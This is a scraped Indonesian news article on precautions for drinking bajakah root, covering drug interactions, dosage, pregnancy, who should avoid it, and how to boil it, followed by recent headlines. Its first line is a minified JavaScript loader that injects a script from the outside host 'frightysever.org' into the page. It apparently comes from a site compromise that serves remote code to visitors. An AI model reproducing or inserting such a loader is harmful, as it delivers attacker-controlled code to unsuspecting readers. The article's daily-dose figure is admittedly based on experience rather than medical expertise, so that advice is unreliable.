(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

7 Pantangan Saat Minum Bajakah yang Harus Dihindari agar Tetap Aman


Akar bajakah merupakan salah satu tanaman herbal yang dikonsumsi oleh masyarakat Indonesia. Tanaman ini dipercaya memiliki khasiat yang baik untuk tubuh dan bagus untuk kesehatan.

Bajakah mengandung senyawa kimia berupa flavonoid, alkaloid, steroid, tanin, saponin, terpenoid, fenolik, dan fenol. Kandungan ini yang membuat bajakah mempunyai aktivitas antioksidan yang baik untuk tubuh.

Perlu diketahui bahwa kandungan bajakah ini bereaksi pada masing-masing orang dan menyebabkan efek samping tertentu. Selain itu, jumlah konsumsi dijaga dan tidak boleh berlebihan untuk hasil yang optimal.

Lantas, apa saja pantangan minum bajakah? Ini informasinya.

Daftar Pantangan Saat Minum Bajakah yang Perlu Diperhatikan

1. Jangan Minum Bajakah Bersamaan dengan Obat Dokter Tertentu

Secara umum, obat herbal bisa mempengaruhi kinerja obat-obatan medis. Terkadang bisa meningkatkan atau justru menurunkan kinerja obat, atau bahkan menyebabkan efek samping.

hal ini disebabkan  dalam bajakah terdapat kandungan seperti flavonoid dan saponin yang dapat bereaksi dengan obat tertentu, seperti obat pengencer darah, obat untuk tekanan darah tinggi, dan obat diabetes.

Jangan konsumsi bajakah dengan obat kimia secara bersamaan. Jika ingin konsumsi obat herbal seperti bajakah, termasuk bajakah, konsultasikan dengan dokter terlebih dahulu.

2. Hindari Konsumsi Berlebihan dalam Satu Hari

Seperti mengonsumsi obat kimia, mengonsumsi bajakah juga ada anjuran dosis yang harus ditaati. Hal ini bertujuan agar khasiat dari bajakh dapat terserap oleh tubuh secara optimal dan menghindari bahaya efek samping.

Pada bajakah terkandung senyawa tanin yang berguna sebagai antioksidan. Namun, Konsumsi tanin terlalu banyak dapat memicu rasa mual, diare, dan pusing.

Overdosis bajakah juga dapat menyebabkan permasalahan serius dan bisa sangat fatal. Maksimal konsumsi bajakah dalam satu hari adalah 2 gelas atau 400 ml. Perlu diketahui, rekomendasi ini berdasarkan pengalaman, bukan ahli medis.

3. Tidak Dianjurkan untuk Ibu Hamil dan Menyusui

Sampai saat ini, masih minim penelitian yang membahas efek bajakah pada kehamilan dan bayi. Senyawa aktif dari bajakah berisiko untuk menimbulkan kontraksi rahim, keguguran, dan pengaruh pada tumbuh kembang janin.

Untuk ibu menyusui, dikhawatirkan senyawa dari bajakah terserap ke dalam ASI dan akan berdampak pada bayi yang sensitif. 

Maka dari itu, untuk menghindari risiko dan efek samping yang berbahaya, ibu hamil, ibu menyusui, dan bayi sangat tidak dianjurkan untuk konsumsi bajakah. Dan juga, akan sangat berbahaya bila tanpa sepengetahuan dokter atau ahli.

4. Jangan Minum Saat Kondisi Tubuh tidak Stabil

Ketika tubuh tidak stabil, seperti sedang demam tinggi, diare hebat, atau saat penyakit kronis sedang kambuh, sebaiknya jangan konsumsi bajakah. 

Hal ini disebabkan pada saat penyakit-penyakit ini muncul, tubuh lebih sensitif terhadap senyawa kimia dalam bajakah dan risiko terjadinya efek samping lebih tinggi dibanding saat tubuh dalam kondisi normal.

5. Tidak Disarankan untuk Penderita Penyakit Tertentu

Senyawa kimia yang terkandung dalam bajakah bisa berinteraksi dengan kondisi penyakit tertentu atau justru menambah beban ke organ-organ yang sebelumnya sudah bermasalah.

Apabila masih tetap ingin mengonsumsinya, coba minum air rebusan bajakah dengan dosis yang kecil terlebih dahulu. Jika tubuh langsung memberi sinyal ada efek samping, langsung hentikan.

6. Hindari Bajakah yang Tidak Jelas Asalnya

Sangat penting untuk mengetahui apakah bajakah yang kita konsumsi jelas asalnya atau tidak. Dikhawatirkan, apabila mengonsumsi bajakah yang tidak jelas asal-usulnya, ada campuran bahan yang berbahaya untuk tubuh. 

Untuk menghindari hal ini, lebih baik membeli bajakah di toko yang sudah pasti terpercaya. Ciri-ciri bajakah asli yaitu, memiliki ukuran besar, memiliki pori-pori, kulit tepi agak tebal, saat direbus warnanya merah tidak terlalu pekat, dan air rebusan rasanya cenderung pahit.

7. Jangan Campur Bajakah dengan Herbal Lain Tanpa Pengetahuan yang Cukup

Secara umum, tanaman herbal boleh saja dicampur dengan herbal lain, termasuk bajakah. Pencampuran ini memungkinkan untuk meningkatkan khasiat seperti antioksidan dan antiinflamasi. 

Akan tetapi, mencampur-campur obat herbal juga harus dengan pengetahuan yang cukup. Hal ini karena saat mencampurkan beberapa jenis herbal justru dapat menetralkan efek atau justru timbul reaksi yang tidak diinginkan.

Untuk lebih amannya, lebih baik konsultasi terlebih dahulu dengan ahli herbal, resep herbal apa yang cocok untuk kondisi tubuh.

Baca Juga: Akar Bajakah Tumbuh Kembang Diantara Meranti

Efek Samping yang Bisa Muncul Jika Pantangan Minum Bajakah Diabaikan

Pantangan-pantangan untuk konsumsi obat, baik herbal maupun medis, harus ditaati untuk keamanan. Konsumsi harus sesuai dengan takaran dan cara minum yang tepat. Apabila tidak dilakukan, tubuh akan bereaksi dan memungkinkan adanya efek samping.

Efek samping yang dapat muncul ketika mengabaikan pantangan yaitu:

  • Dapat muncul ruam kulit, gatal, dan gangguan pernapasan
  • Diare dan kram perut, terutama jika diminum dalam jumlah besar
  • Mual dan muntah
  • Memicu gangguan pada bagian hati dan ginjal bila dikonsumsi dalam jumlah besar

Apabila efek samping terasa oleh tubuh, sebaiknya segera pergi ke dokter untuk langsung mendapatkan pertolongan pratama dan ditangani oleh ahlinya.

Baca Juga: Manfaat Kayu Bajakah: Kandungan, Bukti Ilmiah, Cara Konsumsi, dan Keamanan

Cara Minum Bajakah yang Benar & Aman

Kayu bajakah tidak dapat asal dikonsumsi tanpa pengetahuan yang cukup. Berikut ini cara mengonsumsi bajakah yang benar dan aman sehingga mengurangi risiko dan efek sampingnya.

Aturan Umum Konsumsi

  • Pastikan bajakah yang didapat jelas asalnya.
  • Minum bajakah sesudah makan.
  • Mulai minum dengan dosis kecil.
  • Jangan konsumsi saat tubuh kurang stabil (demam tinggi, tekanan darah tidak normal, anemia, diare, gangguan lambung, ginjal, dan hati).
  • Tubuh tidak alergi terhadap beberapa jenis tanaman.
  • Perhatikan reaksi tubuh selama 24–48 jam.
  • Apabila ada efek samping, segera hubungi dokter.

Cara Merebus Bajakah yang Benar

  • Pastikan bajakah dalam keadaan bersih atau siap seduh.
  • Siapkan air dalam panci secukupnya.
  • Masukkan bajakah yang sudah dipotong sekitar 2–3 tangkai.
  • Rebus bajakah selama 5–10 menit sampai mendidih atau warnanya berubah kemerahan.
  • Air rebusan siap diminum.

Air rebusan sebaiknya langsung diminum setelah dingin. Apabila ingin meminumnya nanti, simpan di wadah tertutup dan bersih. Jangan terlalu lama menyimpannya dan minum saat rasa berubah terlalu ekstrim. Hindari menyimpan di dalam kulkas karena cepat teroksidasi.

Frekuensi Minum yang Direkomendasikan

Dilansir dari kanal YouTube Hidup Sehat TVOne, minum air rebusan bajakah bisa dilakukan sebanyak 1–2 gelas ukuran 200 ml per hari. Jangan terlalu banyak minum bajakah untuk mendapatkan khasiatnya dengan optimal.

Sebaiknya, bajakah tidak dikonsumsi dalam jangka waktu yang lama karena adanya risiko pada hati dan ginjal. Beri jeda waktu beberapa setelah minum bajakah.

Baca Juga: Kemenkes: Masyarakat Jangan Langsung Percaya Khasiat Kayu Bajakah

Siapa yang Sebaiknya Tidak Minum Bajakah Sama Sekali?

Di samping kandungannya yang berguna untuk tubuh, ada beberapa orang yang sama sekali tidak boleh mengonsumsi ekstrak bajakah. Pantangan minum bajakah ini berlaku untuk jangka waktu tertentu maupun tidak boleh sama sekali.

Beberapa orang yang sebaiknya tidak minum bajakah sama sekali, yaitu:

  • Ibu hamil dan menyusui
  • Pasien dengan penyakit kronis tertentu
  • Orang yang sedang dalam pengobatan intensif
  • Alergi terhadap tanaman tertentu

Keempatnya berisiko tinggi saat mengonsumsi herbal dengan efek samping yang bahkan akan berakibat fatal.

Kandungan dalam bajakah memang bermanfaat untuk tubuh dan bahkan sudah dikonsumsi masyarakat Dayak turun-temurun. Kendati demikian, ada pantangan saat mengonsumsinya karena tetap ada risiko dan efek samping di baliknya.

Oleh karena itu, sebelum mengonsumsi obat herbal, kita perlu mengenali kondisi tubuh masing-masing. Apakah ada riwayat penyakit sebelumnya atau tidak. Dan juga, dalam mengonsumsinya tidak boleh asal dan berlebihan. Akan lebih baik lagi ketika sudah berkonsultasi dengan dokter sebelumnya untuk kemungkinan yang lebih aman. (Kanalkalimantan.com/kk)


Afifa Fiani Kusumastuti

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

4 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

6 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

6 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

17 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

18 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

22 jam ago

This website uses cookies.